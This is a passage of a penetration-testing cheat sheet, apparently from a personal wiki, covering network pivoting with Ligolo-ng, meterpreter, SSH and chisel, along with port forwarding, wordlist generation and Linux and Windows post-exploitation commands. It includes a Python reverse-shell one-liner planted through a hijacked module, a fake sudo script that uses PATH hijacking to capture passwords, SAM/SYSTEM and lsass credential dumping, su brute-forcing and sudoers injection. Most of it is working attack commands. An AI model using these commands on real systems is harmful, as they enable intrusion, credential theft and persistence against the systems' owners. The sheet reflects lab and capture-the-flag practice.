[Agent: user@target] » start&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#### WINDOWS&lt;br /&gt;
# To set up the Ligolo-ng proxy on a Windows machine, follow these steps:&lt;br /&gt;
# Download Ligolo-ng Proxy:&lt;br /&gt;
# Visit the Ligolo-ng GitHub Releases page and download the latest proxy.exe suitable for your Windows architecture.&lt;br /&gt;
# Install Wintun Driver:&lt;br /&gt;
# Ligolo-ng requires the Wintun driver to create a TUN interface on Windows.&lt;br /&gt;
# Download the appropriate wintun.dll from the Wintun repository.&lt;br /&gt;
# Place the wintun.dll file in the same directory as proxy.exe.&lt;br /&gt;
# Run the Proxy:&lt;br /&gt;
# Open Command Prompt and navigate to the directory containing proxy.exe and wintun.dll.&lt;br /&gt;
# Execute the proxy with a self-signed certificate:&lt;br /&gt;
proxy.exe -selfcert&lt;br /&gt;
# This command starts the proxy server with a self-signed TLS certificate.&lt;br /&gt;
# Configure the Agent:&lt;br /&gt;
# On the target machine, download the corresponding agent binary from the Ligolo-ng GitHub Releases page.&lt;br /&gt;
# Run the agent, specifying the IP address and port of your Windows machine running the proxy:&lt;br /&gt;
agent.exe -connect :11601 -ignore-cert&lt;br /&gt;
# Replace  with the actual IP address of your proxy machine.&lt;br /&gt;
# Manage Sessions:&lt;br /&gt;
# In the proxy&#039;s command interface, use the session command to list active sessions.&lt;br /&gt;
# Select the desired session to interact with the connected agent.&lt;br /&gt;
# Start Tunneling:&lt;br /&gt;
# Within the selected session, initiate the tunnel:&lt;br /&gt;
tunnel_start --tun&lt;br /&gt;
# Replace  with your chosen name for the TUN interface.&lt;br /&gt;
# Set Up Routing:&lt;br /&gt;
# Determine the network configuration of the agent using the ifconfig command within the session.&lt;br /&gt;
# On your Windows proxy machine, add routes to access the target network:&lt;br /&gt;
route add  mask&lt;br /&gt;
# Replace , , and  with the appropriate values based on the agent&#039;s network configuration.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use autoroute module to create a pivot for the other network&lt;br /&gt;
use post/multi/manage/autoroute&lt;br /&gt;
set SUBNET 192.72.180.0&lt;br /&gt;
set SESSION 2&lt;br /&gt;
exploit&lt;br /&gt;
# Set up a system-wide proxy by using auxiliary/server/socks4a module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050.&lt;br /&gt;
use auxiliary/server/socks_proxy # Or try socks5&lt;br /&gt;
show options&lt;br /&gt;
set SRVPORT 9050&lt;br /&gt;
exploit&lt;br /&gt;
# Now you can use proxychains&lt;br /&gt;
# DISCOVER OTHER HOSTS ON THE NETWORK&lt;br /&gt;
# On windows you can use post/windows/gather/arp_scanner to discover other machines&lt;br /&gt;
# On Linux you can try arp -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ssh -D 1337 user@172.16.0.5 -fN&lt;br /&gt;
# Now use proxychains&lt;br /&gt;
# If you want to nmap without proxychains&lt;br /&gt;
nmap -sS 1.2.3.4 --proxy 127.0.0.1:1080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== sshuttle ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
sshuttle [options] -r [username@]sshserver[:port]&lt;br /&gt;
# Example&lt;br /&gt;
sshuttle -r linux-admin@10.200.122.33 10.200.122.0/24&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Port Forwarding techniques ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Windows&lt;br /&gt;
plink.exe -l root -R 445:127.0.0.1:445 YOURIPADDRESS&lt;br /&gt;
# Metasploit&lt;br /&gt;
portfwd add -l 9090 -p 9090 -r TARGETIP&lt;br /&gt;
# Reverse ssh tunnel, port forwarding 8090 from target to us:&lt;br /&gt;
ssh -R 8090:localhost:8090 user@ip&lt;br /&gt;
# Local port forward, forward local 8090 to target:&lt;br /&gt;
ssh -L 8090:localhost:8090 user@ip&lt;br /&gt;
# Chisel&lt;br /&gt;
# Example: forward port 8888 to attacker using chisel&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Synopsis&lt;br /&gt;
ssh -i id_rsa -L [bind_address]port:host:hostport] username@host&lt;br /&gt;
# Example&lt;br /&gt;
ssh -i id_rsa -L 8000:127.0.0.1:8000 donkeykong@10.10.10.100&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Chisel ===&lt;br /&gt;
&lt;br /&gt;
Example: forward port 8888 to attacker using chisel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Attacker machine&lt;br /&gt;
chisel server -p 8000 --reverse&lt;br /&gt;
# Target&lt;br /&gt;
chisel.exe client 10.10.14.20:8000 R:8888:localhost:8888&lt;br /&gt;
# Connection received on attacker machine&lt;br /&gt;
server: proxy#1:R:0.0.0.0:8888=&amp;gt;localhost:8888: Listening&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Python ==&lt;br /&gt;
&lt;br /&gt;
=== Decompile ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/rocky/python-decompile3&lt;br /&gt;
# Translate python bytecode to python source code.&lt;br /&gt;
$ python pyinstxtractor.py&lt;br /&gt;
# Decompile .pyc&lt;br /&gt;
# https://github.com/zrax/pycdc&lt;br /&gt;
git clone https://github.com/zrax/pycdc&lt;br /&gt;
cd pycdc&lt;br /&gt;
cmake .&lt;br /&gt;
make&lt;br /&gt;
make check&lt;br /&gt;
python pycdc C:\Users\Bobby\example.pyc&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Load module ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If a python script tries to load a module which does not exist, we can place our own module.  #  https://book.hacktricks.xyz/generic-methodologies-and-resources/python/bypass-python-sandboxes&lt;br /&gt;
# Add a python reverse shell into the file&lt;br /&gt;
echo &#039;import os,pty,socket;s=socket.socket();s.connect((&amp;quot;192.168.49.165&amp;quot;,22));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&amp;quot;sh&amp;quot;)&#039; &amp;gt; module.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PDB (Python Debugger ===&lt;br /&gt;
&lt;br /&gt;
[https://docs.python.org/3/library/pdb.html https://docs.python.org/3/library/pdb.html]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# Add import pdb&lt;br /&gt;
import pdb&lt;br /&gt;
# In script, before an error message, add&lt;br /&gt;
pdb.set_trace()&lt;br /&gt;
# Example&lt;br /&gt;
-&amp;gt; url = url.group(1)&lt;br /&gt;
(Pdb) print url.group(1)&lt;br /&gt;
http://swagshop.htb/index.php/admin/das[...]&lt;br /&gt;
(Pdb) continue&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python Extractor ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/extremecoders-re/pyinstxtractor&lt;br /&gt;
# Extract Pyinstaller. Content of pyz and pyc is extracted aswell&lt;br /&gt;
Python3 pyinstxtractor.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Simple HTTP Server ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$python -m SimpleHTTPServer&lt;br /&gt;
$python -m http.server&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Symbolic Link (Windows) ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/googleprojectzero/symboliclink-testing-tools/blob/main/CreateSymlink/CreateSymlink_readme.txt&lt;br /&gt;
# See Symbolic box for example of how to exploit this. In the example below a backup script was copying request.log and saving it in a log. Creating a symbolic link as shown below, the content of id_rsa will be copied by the script and saved, making it possible for me to read it.&lt;br /&gt;
.\CreateSymlink.exe C:\xampp\htdocs\logs\request.log C:\Users\Administrator\.ssh\id_rsa&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Wordlists ==&lt;br /&gt;
&lt;br /&gt;
=== Cewl - Generate wordlist ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Will create a wordlist from words in the URL, and add numbers.&lt;br /&gt;
cewl  --with-numbers &amp;gt; wordlist&lt;br /&gt;
# Scan to a depth of 2 (-d 2) and use a minimum word length of 5 (-m 5), save the words to a file (-w docswords.txt), targeting the given URL (https://example.com)&lt;br /&gt;
cewl -d 2 -m 5 -w docswords.txt https://example.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cupp ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/Mebus/cupp https://github.com/Mebus/cupp]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 cupp.py -i # Interactive mode where you fill out information about the person&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Datelist - Generate date wordlist ===&lt;br /&gt;
&lt;br /&gt;
[https://raw.githubusercontent.com/screetsec/BruteSploit/master/tools/datelist Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate date list with yyyy-mm-dd format&lt;br /&gt;
./datelist.sh -b 2020-01-01 -e 2020-12-31 -f yyyymmdd -o wordlist -s -&lt;br /&gt;
-b = beginning date&lt;br /&gt;
-e = end date&lt;br /&gt;
-f = format&lt;br /&gt;
-o = output&lt;br /&gt;
-s = spacing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Seclists ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/danielmiessler/SecLists/ https://github.com/danielmiessler/SecLists/]&lt;br /&gt;
&lt;br /&gt;
=== Python script ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
import itertools&lt;br /&gt;
words = [&amp;quot;firmanavn&amp;quot;, &amp;quot;sommer&amp;quot;, &amp;quot;prod&amp;quot;,&lt;br /&gt;
&amp;quot;dev&amp;quot;, &amp;quot;database&amp;quot;, &amp;quot;app&amp;quot;, &amp;quot;server&amp;quot;,&lt;br /&gt;
&amp;quot;test&amp;quot;, &amp;quot;oracle&amp;quot;, &amp;quot;doc&amp;quot;, &amp;quot;admin&amp;quot;, &amp;quot;db&amp;quot;,&lt;br /&gt;
&amp;quot;password&amp;quot;, &amp;quot;administrator&amp;quot;, &amp;quot;tech&amp;quot;]&lt;br /&gt;
combo = itertools.combinations(words, 2)&lt;br /&gt;
combo = list(combo)&lt;br /&gt;
&lt;br /&gt;
with open(&amp;quot;/home/kali/wordlist.txt&amp;quot;, &amp;quot;w+&amp;quot;) as wordlist:&lt;br /&gt;
    for i in combo:&lt;br /&gt;
        wordlist.write(i[0] + &amp;quot;.&amp;quot; + i[1])&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
        wordlist.write(i[0].capitalize() + &amp;quot;.&amp;quot; + i[1].capitalize())&lt;br /&gt;
        wordlist.write(&amp;quot;\n&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    for i in range(0,2023):&lt;br /&gt;
        for v in words:&lt;br /&gt;
            word = v + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
            word = v.capitalize() + str(i) + &amp;quot;!&amp;quot; + &amp;quot;\n&amp;quot;&lt;br /&gt;
            wordlist.write(word)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Linux Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Add SUID (setuid) bit to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
chmod 4755 /tmp/sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Add user to sudoers file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Add User to sudoers file&lt;br /&gt;
echo username ALL=(ALL) ALL &amp;gt;&amp;gt; sudoers&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== BruteForce using su when having a shell - Password Spray ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/carlospolop/su-bruteforce&lt;br /&gt;
./su.sh  -u ray -w xato-net-10-million-passwords-10000.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Cat, cut delimeter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Cat a file and cut delimiter space in field 3&lt;br /&gt;
cat $log | cut -d&#039; &#039; -f3-&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Copy output to clipboard ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat file | xclip -selection clipboard&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enable cursor in Terminal Kali ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
tput cnorm&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Output tty to shell or redirect to file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# From eavsdropper room in THM&lt;br /&gt;
# If a user types in his password and you have a shell you can redirect output to your shell.&lt;br /&gt;
cat sudo&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
read password&lt;br /&gt;
echo $password &amp;gt; /dev/pty/0 # Choose the correct pty.&lt;br /&gt;
# Now export PATH så when the user runs the command it will execute your sudo script instead of real sudo.&lt;br /&gt;
# Run&lt;br /&gt;
export $PATH=/tmp:$PATH&lt;br /&gt;
# Now wait for the user to type his password and it will pop up in your shell.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kill/close open port on linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
fuser -k PORT/tcp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reset kali to default settings ===&lt;br /&gt;
&lt;br /&gt;
BE CAREFUL AS THIS MIGHT BREAK SOME PACKAGES. Always take snapshot before running the commands below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you&#039;re having problems with kali acting up, you can reset kali to default.&lt;br /&gt;
# To reset Kali Linux to the default package and kernel, you will need to run the following commands:&lt;br /&gt;
sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade&lt;br /&gt;
sudo apt-get dist-upgrade&lt;br /&gt;
sudo apt-get autoremove&lt;br /&gt;
sudo apt-get autoclean&lt;br /&gt;
sudo update-grub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Restricted shell (rbash) - Linux Restricted Shell Bypass ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://vk9-sec.com/linux-restricted-shell-bypass/&lt;br /&gt;
# List of escape methods&lt;br /&gt;
https://www.hacknos.com/rbash-escape-rbash-restricted-shell-escape/&lt;br /&gt;
# If in rshell (Restricted shell), use this command to list all available commands&lt;br /&gt;
compgen -c&lt;br /&gt;
# Rbash escape ssh&lt;br /&gt;
ssh alfred@10.11.1.101 -t &#039;bash&#039; --noprofile&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Read .db files ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# For DB files, like users.db. Read content with sqlitebrowser&lt;br /&gt;
sqlitebrowser users.db&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Read Windows registry files on Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Start hivexsh, and load a hive.&lt;br /&gt;
# https://linux.die.net/man/1/hivexsh&lt;br /&gt;
hivexsh&lt;br /&gt;
&amp;gt; load SECURITY&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ss instead of netstat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ss -tlpn&lt;br /&gt;
-t display tcp socket&lt;br /&gt;
-l display listening socket&lt;br /&gt;
-p show process using packets&lt;br /&gt;
-n dont resolve service name&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Desktop Environment if its broken ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://www.kali.org/docs/general-use/xfce-faq/&lt;br /&gt;
If you are having issues, it may be that a config file is not set properly. First, backup .cache, .config, and .local. Next, running rm -r .cache .config .local and then rebooting will likely fix those issues.&lt;br /&gt;
REMEMBER TO DELETE IT FROM THE HOME USER and not root.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix Kali Login loop ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On the login screen type&lt;br /&gt;
CTRL + ALT + F1&lt;br /&gt;
# then type this command from the home/kali dir.&lt;br /&gt;
sudo mv ~/.Xauthority ~/.Xauthority.backup sudo chmod 700 ~ sudo chown -R kali:kali ~ sudo service lightdm restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Useful Windows Commands ==&lt;br /&gt;
&lt;br /&gt;
=== Stealing SAM and SYSTEM ===&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/stealing-credentials https://book.hacktricks.xyz/windows-hardening/stealing-credentials]&lt;br /&gt;
&lt;br /&gt;
This files should be &#039;&#039;&#039;located&#039;&#039;&#039; in &#039;&#039;C:\windows\system32\config\SAM&#039;&#039; and &#039;&#039;C:\windows\system32\config\SYSTEM.&#039;&#039; But &#039;&#039;&#039;you cannot just copy them in a regular way&#039;&#039;&#039; because they protected.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\windows\system32\config\SAM&lt;br /&gt;
C:\windows\system32\config\SYSTEM&lt;br /&gt;
C:\windows\system32\config\regback\system.old&lt;br /&gt;
C:\windows\system32\config\regback\system&lt;br /&gt;
C:\windows\system32\config\regback\sam.old&lt;br /&gt;
C:\windows\system32\config\regback\sam&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== From Registry ====&lt;br /&gt;
&lt;br /&gt;
The easiest way to steal those files is to get a copy from the registry:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save HKLM\sam sam&lt;br /&gt;
reg save HKLM\system system&lt;br /&gt;
reg save HKLM\security security&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Download&#039;&#039;&#039; those files to your Kali machine and &#039;&#039;&#039;extract the hashes&#039;&#039;&#039; using:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
samdump2 SYSTEM SAM&lt;br /&gt;
impacket-secretsdump -sam sam -security security -system system LOCAL&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Check if shell is 64-bit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
[Environment]::Is64BitOperatingSystem&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Decompile .NET exe file ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Use dotpeek or dnSPY&lt;br /&gt;
https://www.jetbrains.com/decompiler/&lt;br /&gt;
https://github.com/dnSpy/dnSpy&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump hashes from NTDS.dit using secretdump.py ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Location C:\Windows\ or C:\Windows\System32\&lt;br /&gt;
/usr/bin/impacket-secretsdump LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dumping Domain password hasehs ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#diskshadow&lt;br /&gt;
https://pentestlab.blog/tag/diskshadow/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump creds frol lsass.dmp ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/skelsec/pypykatz&lt;br /&gt;
# See writeup for HTB Blackfield&lt;br /&gt;
pypykatz lsa minidump lsass.DMP&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find writeable directories ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Find writable directories&lt;br /&gt;
dir /a-r-d /s /b&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Find .NET version using regkey ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query &amp;quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NET Framework Setup\NDP&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Executing MSI on Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msiexec /quiet /i cmd.msi&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dump Windows Sam File ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg save hklm\sam c:\sam&lt;br /&gt;
reg save hklm\system c:\system&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Run a dll using rundll32.exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
rundll32 C:\Tools\TestDll.dll,run&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg query HKLM /f password /t REG_SZ /s&lt;br /&gt;
reg query HKCU /f password /t REG_SZ /s&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Registry dump autologon passwords ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
reg.exe query &amp;quot;HKLM\software\microsoft\windows nt\currentversion\winlogon&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== See WiFi password in cleartext ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
netsh wlan show profile&lt;br /&gt;
netsh wlan show profile Profile01 key=clear&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Enviroment variable Location ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| %ALLUSERSPROFILE%&lt;br /&gt;
|  C:\Documents and Settings\All Users&lt;br /&gt;
|-&lt;br /&gt;
| %APPDATA%&lt;br /&gt;
| C:\Documents and Settings\Username\Application Data&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES%&lt;br /&gt;
|  C:\Program Files\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMMONPROGRAMFILES(x86)%&lt;br /&gt;
| C:\Program Files (x86)\Common Files&lt;br /&gt;
|-&lt;br /&gt;
| %COMSPEC%&lt;br /&gt;
| C:\Windows\System32\cmd.exe&lt;br /&gt;
